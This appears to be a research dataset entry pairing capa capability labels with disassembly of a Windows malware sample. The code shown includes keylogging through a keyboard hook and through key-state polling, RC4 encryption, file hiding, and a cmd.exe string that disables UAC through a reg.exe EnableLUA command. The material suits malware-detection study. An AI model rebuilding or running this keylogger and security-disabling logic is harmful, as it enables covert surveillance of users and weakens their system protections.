joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10004deb
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
and dword [ebp - 8], 0
push ebx
push esi
mov esi, ecx
lea ecx, [ebp - 0x28]
push edi
mov dword [ebp - 0x10], esi
and dword [esi + 0x54], 0
call fcn.1000210e
mov edi, dword [ebp + 8]
lea eax, [esi + 0x58]
push eax
lea eax, [ebp - 8]
mov ecx, edi
push eax
call fcn.10001fce
push eax
mov ecx, esi
call fcn.10005022
test al, al
je 0x10004f3a
movzx eax, byte [esi + 0x30]
mov ecx, edi
mov ebx, dword [ebp - 8]
mov dword [ebp - 0xc], eax
add ebx, eax
call fcn.100024c2
cmp ebx, eax
jbe 0x10004e5e
mov ecx, edi
mov bl, 1
call fcn.100024c2
mov ecx, dword [ebp - 0xc]
mov esi, dword [ebp - 0x10]
add ecx, dword [ebp - 8]
mov edi, dword [ebp + 8]
sub ecx, eax
mov dword [esi + 0x54], ecx
jmp 0x10004e60
xor bl, bl
test bl, bl
jne 0x10004f3a
mov ebx, dword [ebp - 0xc]
lea eax, [ebp - 0x40]
push 0xffffffffffffffff
push ebx
push eax
mov ecx, edi
call fcn.100042ce
push eax
lea ecx, [ebp - 0x28]
call fcn.1000200a
lea ecx, [ebp - 0x40]
call fcn.10002000
push dword [ebp - 8]
lea eax, [ebp - 0x40]
push 0
push eax
lea ecx, [ebp - 0x28]
call fcn.100042ce
push eax
lea ecx, [ebp - 0x28]
call fcn.1000200a
lea ecx, [ebp - 0x40]
call fcn.10002000
cmp byte [ebp + 0x10], 0
lea eax, [ebp - 0x28]
jne 0x10004ec9
sub esp, 0x18
mov ecx, esp
push eax
call fcn.10002125
push esi
call dword [ebp + 0xc]
add esp, 0x1c
jmp 0x10004f05
push eax
lea ecx, [esi + 0xc]
call fcn.10001fe6
xor eax, eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [esi + 0x24], eax
xor eax, eax
push eax
push eax
push esi
push dword [ebp + 0xc]
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push dword [esi + 0x24]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [esi + 0x24]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
mov ecx, edi
push 0xffffffffffffffff
add eax, ebx
push eax
lea eax, [ebp - 0x40]
push eax
call fcn.100042ce
push eax
mov ecx, edi
call fcn.1000200a
lea ecx, [ebp - 0x40]
call fcn.10002000
mov ecx, edi
call fcn.100024c2
test eax, eax
lea eax, [esi + 0x58]
jne 0x10004e0f
lea ecx, [ebp - 0x28]
call fcn.10002000
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x1000506b
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push esi
mov esi, ecx
push edi
cmp byte [esi + 0x5c], 0
jne 0x10005104
cmp byte [ebp + 0xc], 0
mov edi, dword [ebp + 8]
jne 0x1000508e
mov byte [esi + 0x7c], 1
jmp 0x100050da
cmp byte [0x1006fd24], 0
je 0x100050da
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov edx, edi
lea ecx, [ebp - 0x28]
call fcn.10019d59
sub esp, 0x18
mov edx, str.KeepAlive______________Enabled__Timeout:
mov ecx, esp
push eax
call fcn.10005425
sub esp, 0x14
mov ecx, esp
push 0x10062674
call fcn.100020bd
call fcn.100197d0
add esp, 0x30
lea ecx, [ebp - 0x28]
call fcn.10002000
mov dword [esi + 0x74], edi
xor edi, edi
push edi
push edi
push edi
push edi
mov byte [esi + 0x5c], 1
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push edi
push edi
push esi
push 0x1000526a
push edi
push edi
mov dword [esi + 0x60], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov al, 1
jmp 0x10005106
xor al, al
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x10006d79
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
xor esi, esi
push edi
mov edi, ecx
mov eax, esi
movd xmm0, eax
pshufd xmm0, xmm0, 0
paddd xmm0, xmmword [0x100691a0]
movups xmmword [edi + eax*4], xmm0
add eax, 4
cmp eax, 0x100
jl 0x10006d85
mov ebx, esi
xor edx, edx
mov eax, ebx
div dword [ebp + 0xc]
mov eax, dword [ebp + 8]
movzx eax, byte [edx + eax]
add eax, dword [edi + ebx*4]
add esi, eax
and esi, 0x800000ff
jns 0x10006dc9
dec esi
or esi, 0xffffff00
inc esi
mov cl, byte [edi + ebx*4]
mov eax, dword [edi + esi*4]
mov dword [edi + ebx*4], eax
inc ebx
movzx eax, cl
mov dword [edi + esi*4], eax
cmp ebx, 0x100
jl 0x10006da6
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x10006de8
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
xor edx, edx
push ebx
push esi
push edi
mov esi, ecx
lea edi, [ebp - 0x400]
mov ecx, 0x100
mov ebx, edx
rep movsd dword es:[edi], dword [esi]
mov esi, dword [ebp + 0xc]
mov edi, edx
add esi, 1
je 0x10006e80
inc edx
and edx, 0x800000ff
jns 0x10006e22
dec edx
or edx, 0xffffff00
inc edx
mov eax, dword [ebp + edx*4 - 0x400]
add ebx, eax
and ebx, 0x800000ff
jns 0x10006e3b
dec ebx
or ebx, 0xffffff00
inc ebx
mov cl, al
mov eax, dword [ebp + ebx*4 - 0x400]
mov dword [ebp + edx*4 - 0x400], eax
movzx eax, cl
mov dword [ebp + ebx*4 - 0x400], eax
mov ecx, dword [ebp + edx*4 - 0x400]
add ecx, eax
and ecx, 0x800000ff
jns 0x10006e6e
dec ecx
or ecx, 0xffffff00
inc ecx
mov al, byte [ebp + ecx*4 - 0x400]
mov ecx, dword [ebp + 8]
xor byte [edi + ecx], al
inc edi
cmp edi, esi
jb 0x10006e11
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x10007241
Capabilities:
Create process on windows
Disable system features via registry on windows
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
push ebx
push esi
push edi
push 0x44
pop esi
push esi
xor ebx, ebx
lea eax, [ebp - 0x58]
push ebx
push eax
call fcn.10034cb0
xor eax, eax
mov dword [ebp - 0x58], esi
lea edi, [ebp - 0x10]
add esp, 0xc
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x58]
push eax
push ebx
push ebx
push 0x8000000
push ebx
push ebx
push ebx
push str._k__windir_System32_reg.exe_ADD_HKLMSOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem__v_EnableLUA__t_REG_DWORD__d_0__f
push str.C:WindowsSystem32cmd.exe
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0xc]
call esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100072f0
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x298
lea eax, [ebp - 0x298]
lea ecx, [ebp + 8]
push ebx
push esi
push eax
call fcn.10001f24
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x10007336
sub esp, 0x18
lea edx, [ebp + 8]
mov ecx, esp
call fcn.10019eeb
push 0x54
mov ecx, 0x10072038
call fcn.10004be3
jmp 0x100073f7
lea ecx, [ebp - 0x18]
call fcn.1000210e
lea eax, [ebp - 0x26c]
push eax
lea ecx, [ebp - 0x30]
call fcn.100042a7
mov edx, 0x10062898
mov ecx, eax
call fcn.10008bc1
lea ecx, [ebp - 0x30]
mov bl, al
call fcn.10001f29
test bl, bl
je 0x100073c3
push 0x250
lea eax, [ebp - 0x298]
push eax
lea ecx, [ebp - 0x30]
call fcn.100020e4
push eax
lea ecx, [ebp - 0x18]
call fcn.1000200a
lea ecx, [ebp - 0x30]
jmp 0x100073be
push 0x250
lea eax, [ebp - 0x298]
push eax
lea ecx, [ebp - 0x48]
call fcn.100020e4
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x30]
call fcn.1000644b
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.1000200a
lea ecx, [ebp - 0x30]
call fcn.10002000
lea ecx, [ebp - 0x48]
call fcn.10002000
lea eax, [ebp - 0x298]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x10007389
sub esp, 0x18
lea eax, [ebp - 0x18]
mov ecx, esp
push eax
call fcn.10002125
push 0x50
mov ecx, 0x10072038
call fcn.10004be3
lea ecx, [ebp - 0x18]
call fcn.10002000
lea ecx, [ebp + 8]
call fcn.10001f29
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10007405
Capabilities:
Delete file
Move file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x186ec
call fcn.10053620
push ebx
push esi
mov esi, ecx
lea edx, [ebp + 0x10]
push edi
xorps xmm0, xmm0
mov dword [ebp - 0xc], esi
xor ebx, ebx
movlpd qword [ebp - 8], xmm0
push 0x1006289c
lea ecx, [ebp - 0x44]
mov dword [ebp - 0x14], ebx
call fcn.10008bcd
pop ecx
push eax
lea ecx, [ebp - 0x2c]
call fcn.10003353
lea ecx, [ebp - 0x44]
call fcn.10001f29
push ebx
push 0x80
push 2
push ebx
push ebx
push 4
lea ecx, [ebp - 0x2c]
call fcn.10001f24
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 4], ecx
ja 0x100074df
mov edi, dword [ebp + 8]
jb 0x10007479
cmp dword [ebp - 8], edi
jae 0x100074df
push ecx
push 0x186a0
lea eax, [ebp - 0x186e8]
mov ecx, esi
push eax
call fcn.10004cb6
mov esi, eax
cdq
add dword [ebp - 8], eax
lea eax, [ebp - 0x14]
push ebx
adc dword [ebp - 4], edx
push eax
push esi
lea eax, [ebp - 0x186e8]
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esp, 0x18
lea eax, [ebp - 8]
mov ecx, esp
push 8
push eax
call fcn.100020e4
mov ecx, dword [ebp - 0xc]
push 0x57
call fcn.10004be3
test esi, esi
jle 0x10007519
mov eax, dword [ebp + 0xc]
mov esi, dword [ebp - 0xc]
cmp dword [ebp - 4], eax
jb 0x10007479
ja 0x100074dc
cmp dword [ebp - 8], edi
jb 0x10007479
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp + 0x10]
call fcn.10001f24
push eax
lea ecx, [ebp - 0x2c]
call fcn.10001f24
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileW]
mov bl, 1
lea ecx, [ebp - 0x2c]
call fcn.10001f29
lea ecx, [ebp + 0x10]
call fcn.10001f29
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x2c]
call fcn.10001f24
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x10007500

Function at 0x10007533
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
push esi
push edi
mov esi, ecx
call fcn.1000210e
lea ecx, [ebp + 8]
call fcn.10001fce
mov edi, eax
jmp 0x100075ba
push 0xa
lea eax, [ebp - 4]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
push eax
call fcn.1003ee5b
add esp, 0xc
lea eax, [ebp - 4]
lea ecx, [ebp - 0x4c]
push 0x2d
push eax
call fcn.100020bd
mov ecx, eax
call fcn.10001fce
push eax
mov edx, esi
lea ecx, [ebp - 0x34]
call fcn.10006cbb
pop ecx
mov edx, eax
lea ecx, [ebp - 0x1c]
call fcn.10008c11
pop ecx
push eax
mov ecx, esi
call fcn.1000200a
lea ecx, [ebp - 0x1c]
call fcn.10002000
lea ecx, [ebp - 0x34]
call fcn.10002000
lea ecx, [ebp - 0x4c]
call fcn.10002000
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc edi
add edi, eax
cmp byte [edi], 0
jne 0x1000754e
lea ecx, [ebp + 8]
call fcn.10002000
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10009a61
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18c
push ebx
push esi
push edi
lea eax, [ebp + 8]
add ecx, 0x98
push eax
call fcn.10001fe6
xor eax, eax
mov byte [ebp - 0xc], al
mov dword [ebp - 0xb], eax
mov dword [ebp - 7], eax
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardLayoutNameA]
mov ebx, 0x10072170
mov ecx, ebx
call fcn.1000496f
push ecx
mov ecx, ebx
call fcn.10004a0a
push dword [0x10072108]
lea ecx, [ebp - 0x24]
call fcn.100042a7
push 0x12
mov ecx, 0x10072318
call fcn.10001e82
mov ecx, eax
call fcn.10001fce
mov edx, dword [0x10072104]
lea ecx, [ebp - 0x18c]
mov esi, eax
call fcn.10019d59
sub esp, 0x18
lea edx, [ebp - 0x24]
mov edi, esp
lea ecx, [ebp - 0x174]
mov ebx, 0x10071ec0
push eax
push ebx
call fcn.10019eeb
push eax
push ebx
lea eax, [ebp + 8]
mov ecx, 0x10072120
push eax
push ebx
call fcn.10001f24
mov ecx, eax
call fcn.1001a784
mov edx, eax
lea ecx, [ebp - 0x15c]
call fcn.10019d59
mov edx, dword [0x10072168]
lea ecx, [ebp - 0x144]
push eax
push ebx
call fcn.10019d59
push eax
movzx eax, byte [esi]
lea edx, [ebp - 0xc]
push ebx
push eax
push ebx
lea ecx, [ebp - 0x12c]
call fcn.10005449
pop ecx
mov edx, eax
lea ecx, [ebp - 0x114]
call fcn.10008c11
pop ecx
mov edx, eax
lea ecx, [ebp - 0xfc]
call fcn.10002fcc
pop ecx
mov edx, eax
lea ecx, [ebp - 0xe4]
call fcn.10002f56
pop ecx
mov edx, eax
lea ecx, [ebp - 0xcc]
call fcn.10002fcc
pop ecx
mov edx, eax
lea ecx, [ebp - 0xb4]
call fcn.10002f56
pop ecx
mov edx, eax
lea ecx, [ebp - 0x9c]
call fcn.10002fcc
pop ecx
mov edx, eax
lea ecx, [ebp - 0x84]
call fcn.10002fcc
pop ecx
mov edx, eax
lea ecx, [ebp - 0x6c]
call fcn.10002fcc
pop ecx
mov edx, eax
lea ecx, [ebp - 0x54]
call fcn.10002f56
pop ecx
mov edx, eax
lea ecx, [ebp - 0x3c]
call fcn.10002fcc
pop ecx
mov edx, eax
mov ecx, edi
call fcn.10002f56
pop ecx
push 0x12
mov ecx, 0x10072170
call fcn.10004be3
lea ecx, [ebp - 0x3c]
mov esi, eax
call fcn.10002000
lea ecx, [ebp - 0x54]
call fcn.10002000
lea ecx, [ebp - 0x6c]
call fcn.10002000
lea ecx, [ebp - 0x84]
call fcn.10002000
lea ecx, [ebp - 0x9c]
call fcn.10002000
lea ecx, [ebp - 0xb4]
call fcn.10002000
lea ecx, [ebp - 0xcc]
call fcn.10002000
lea ecx, [ebp - 0xe4]
call fcn.10002000
lea ecx, [ebp - 0xfc]
call fcn.10002000
lea ecx, [ebp - 0x114]
call fcn.10002000
lea ecx, [ebp - 0x12c]
call fcn.10002000
lea ecx, [ebp - 0x144]
call fcn.10002000
lea ecx, [ebp - 0x15c]
call fcn.10002000
lea ecx, [ebp - 0x174]
call fcn.10002000
lea ecx, [ebp - 0x18c]
call fcn.10002000
lea ecx, [ebp - 0x24]
call fcn.10001f29
lea ecx, [ebp + 8]
call fcn.10002000
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x18
Function at 0x10009d03
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
lea eax, [ebp + 8]
push ebx
push esi
mov esi, ecx
push edi
push eax
lea ecx, [esi + 0x68]
mov byte [esi + 0x49], 1
call fcn.1000b49c
cmp dword [esi + 0x4c], 2
mov edi, str.Offline_Keylogger_Started
je 0x10009d54
push edi
lea ecx, [esp + 0x14]
call fcn.100020bd
sub esp, 0x18
lea edx, [esp + 0x28]
mov ecx, esp
call fcn.10019e29
mov ecx, esi
call fcn.1000ad0b
lea ecx, [esp + 0x10]
call fcn.10002000
sub esp, 0x18
mov ecx, esp
push edi
call fcn.100020bd
sub esp, 0x18
mov ecx, esp
push 0x10062674
call fcn.100020bd
call fcn.100197d0
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
add esp, 0x30
xor ebx, ebx
push ebx
push ebx
push esi
push 0x10009e0e
push ebx
push ebx
call edi
cmp dword [esi], ebx
jne 0x10009d9a
push ebx
push ebx
push esi
push 0x10009df3
push ebx
push ebx
call edi
push ebx
push ebx
push esi
push 0x10009e1d
push ebx
push ebx
call edi
lea ecx, [ebp + 8]
call fcn.10001f29
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x18

Function at 0x10009db7
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
lea eax, [ebp + 8]
mov ecx, 0x10072120
push eax
call fcn.1000b49c
cmp byte [0x10072101], 0
jne 0x10009de7
xor eax, eax
push eax
push eax
push 0x100720b8
push 0x10009e02
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
lea ecx, [ebp + 8]
call fcn.10001f29
pop ebp
ret 0x18

Function at 0x10009e55
Capabilities:
Log keystrokes via application hook

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x38
push esi
mov esi, ecx
push edi
xor edi, edi
mov dword [0x1006fb04], esi
cmp dword [esi], edi
jne 0x10009ed0
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
push 0x10009e3e
push 0xd
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
mov dword [esi], eax
test eax, eax
jne 0x10009ed0
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea ecx, [esp + 0xc]
call fcn.10019d59
sub esp, 0x18
mov edx, str.Keylogger_initialization_failure:_error
mov ecx, esp
push eax
call fcn.10005425
sub esp, 0x14
mov ecx, esp
push 0x100625d8
call fcn.100020bd
call fcn.100197d0
add esp, 0x30
lea ecx, [esp + 0xc]
call fcn.10002000
xor eax, eax
inc eax
jmp 0x10009efe
push edi
push edi
push edi
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x10009efc
lea eax, [esp + 0x24]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [esp + 0x24]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
cmp dword [esi], edi
jne 0x10009ed0
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10009f7d
Capabilities:
Get keyboard layout
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14c
push ebx
push esi
push edi
push 0x100
lea eax, [ebp - 0x14c]
mov ebx, ecx
push 0
push eax
call fcn.10034cb0
add esp, 0xc
lea edi, [ebp - 0x2a]
xor eax, eax
mov word [ebp - 0x2c], ax
push 7
pop ecx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
call dword [sym.imp.USER32.dll_GetForegroundWindow]
lea ecx, [ebp - 0xc]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
mov esi, eax
push 0x10
mov dword [ebp - 4], esi
call dword [sym.imp.USER32.dll_GetKeyState]
lea eax, [ebp - 0x14c]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardState]
push esi
push 0
push 0x10
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x14c]
push eax
mov eax, ebx
push dword [eax + 0x58]
push dword [ebx + 0x54]
call dword [sym.imp.USER32.dll_ToUnicodeEx]
cmp eax, 0xffffffff
je 0x1000a07b
mov esi, dword [0x10073acc]
test esi, esi
je 0x1000a076
xor eax, eax
lea edi, [ebp - 0x4a]
push 7
mov word [ebp - 0x4c], ax
xor ebx, ebx
pop ecx
rep stosd dword es:[edi], eax
mov ecx, ebx
stosw word es:[edi], ax
movzx eax, word [ebp + ecx - 0x2c]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0x4e], ax
test ax, ax
jne 0x1000a024
push 0x100
lea eax, [ebp - 0x14c]
push ebx
push eax
call fcn.10034cb0
mov edi, dword [ebp - 4]
lea eax, [ebp - 0x2c]
add esp, 0xc
push edi
push ebx
push 0x10
push eax
lea eax, [ebp - 0x14c]
push eax
push dword [0x10073ad0]
push esi
call dword [sym.imp.USER32.dll_ToUnicodeEx]
mov dword [0x10073acc], ebx
lea eax, [ebp - 0x4c]
push eax
jmp 0x1000a0b2
lea eax, [ebp - 0x2c]
jmp 0x1000a073
push 5
pop ecx
lea esi, [ebx + 0x54]
mov edi, 0x10073acc
rep movsd dword es:[edi], dword [esi]
mov edi, dword [ebp - 4]
push edi
push 0
push 0x10
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x14c]
push eax
mov eax, ebx
push dword [eax + 0x58]
push dword [ebx + 0x54]
call dword [sym.imp.USER32.dll_ToUnicodeEx]
test eax, eax
js 0x1000a08b
push 0x10068878
mov ecx, dword [ebp + 8]
call fcn.100042a7
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x1000a213
Capabilities:
Get file size

Disassembly:
mov eax, dword [0x10072168]
or eax, dword [0x1007216c]
push ebx
push esi
push edi
mov esi, ecx
je 0x1000a2c0
xor ebx, ebx
mov byte [esi + 0x39], bl
push ebx
push 0x80
push 3
push ebx
push 7
push closesocket
mov ecx, 0x10072120
call fcn.10001f24
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x1000a294
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp ebx, dword [0x1007216c]
jb 0x1000a28b
ja 0x1000a270
cmp eax, dword [0x10072168]
jb 0x1000a28b
mov byte [esi + 0x39], 1
cmp byte [esi + 0x49], bl
je 0x1000a280
mov ecx, esi
call fcn.1000ac83
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1000a297
mov byte [esi + 0x39], bl
cmp byte [esi + 0x39], 1
je 0x1000a22e
cmp byte [esi + 0x49], bl
jne 0x1000a2c0
cmp dword [0x10072104], 1
jne 0x1000a2c0
sub esp, 0x18
lea eax, [esi + 0x68]
mov ecx, esp
push eax
call fcn.10008abc
mov ecx, esi
call fcn.10009d03
pop edi
pop esi
pop ebx
ret
Function at 0x1000a2c4
Capabilities:
Check if file exists
Create directory
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x464
push ebx
mov ebx, ecx
push esi
push edi
lea esi, [ebx + 4]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, ebx
call fcn.1000a213
mov edx, 0x10068878
mov ecx, esi
call fcn.10008bc1
test al, al
je 0x1000a4ce
mov ecx, 0x10072138
call fcn.10006bc4
test al, al
jne 0x1000a31f
push 0
mov ecx, 0x10072138
call fcn.10001f24
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea edi, [ebx + 0x68]
mov ecx, edi
call fcn.10001f24
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
test al, 2
je 0x1000a347
push 0x80
mov ecx, edi
call fcn.10001f24
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0x12
mov ecx, 0x10072318
call fcn.10001e82
mov ecx, eax
call fcn.10001fce
cmp byte [eax], 0
jne 0x1000a38f
push 1
mov ecx, edi
call fcn.10001f24
push eax
mov ecx, esi
call fcn.100024c2
mov esi, eax
lea ecx, [ebx + 4]
add esi, esi
call fcn.10001f24
mov edx, esi
mov ecx, eax
call fcn.1001a65a
pop ecx
pop ecx
lea esi, [ebx + 4]
jmp 0x1000a49a
lea ecx, [esp + 0x10]
call fcn.1000210e
mov ecx, 0x10072300
call fcn.100024c2
push eax
mov ecx, 0x10072300
call fcn.10001fce
push eax
lea ecx, [esp + 0x78]
call fcn.10006d61
mov ecx, edi
call fcn.10001f24
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x1000a426
lea ecx, [esp + 0x28]
call fcn.1000210e
mov ecx, edi
call fcn.10001f24
lea edx, [esp + 0x28]
mov ecx, eax
call fcn.1001a6ef
test al, al
je 0x1000a41d
lea ecx, [esp + 0x28]
call fcn.100024c2
push eax
lea ecx, [esp + 0x2c]
call fcn.10001fce
push eax
lea eax, [esp + 0x48]
push eax
lea ecx, [esp + 0x7c]
call fcn.10006e89
push eax
lea ecx, [esp + 0x14]
call fcn.1000200a
lea ecx, [esp + 0x40]
call fcn.10002000
lea ecx, [esp + 0x28]
call fcn.10002000
mov ecx, esi
call fcn.100024c2
add eax, eax
mov ecx, esi
push eax
call fcn.10001f24
push eax
lea ecx, [esp + 0x48]
call fcn.100020e4
push eax
lea ecx, [esp + 0x14]
call fcn.1000346f
lea ecx, [esp + 0x40]
call fcn.10002000
lea ecx, [esp + 0x10]
call fcn.100024c2
push eax
lea ecx, [esp + 0x14]
call fcn.10001fce
push eax
lea eax, [esp + 0x60]
push eax
lea ecx, [esp + 0x7c]
call fcn.10006e89
mov ecx, edi
call fcn.10001f24
mov edx, eax
lea ecx, [esp + 0x58]
call fcn.1001a761
lea ecx, [esp + 0x58]
call fcn.10002000
lea ecx, [esp + 0x10]
call fcn.10002000
push 0x10068878
mov ecx, esi
call fcn.10008ab3
push 0x13
mov ecx, 0x10072318
call fcn.10001e82
mov ecx, eax
call fcn.10001fce
cmp byte [eax], 0
je 0x1000a4ce
push 6
mov ecx, edi
call fcn.10001f24
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
cmp byte [ebx + 0x49], 0
jne 0x1000a2d8
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret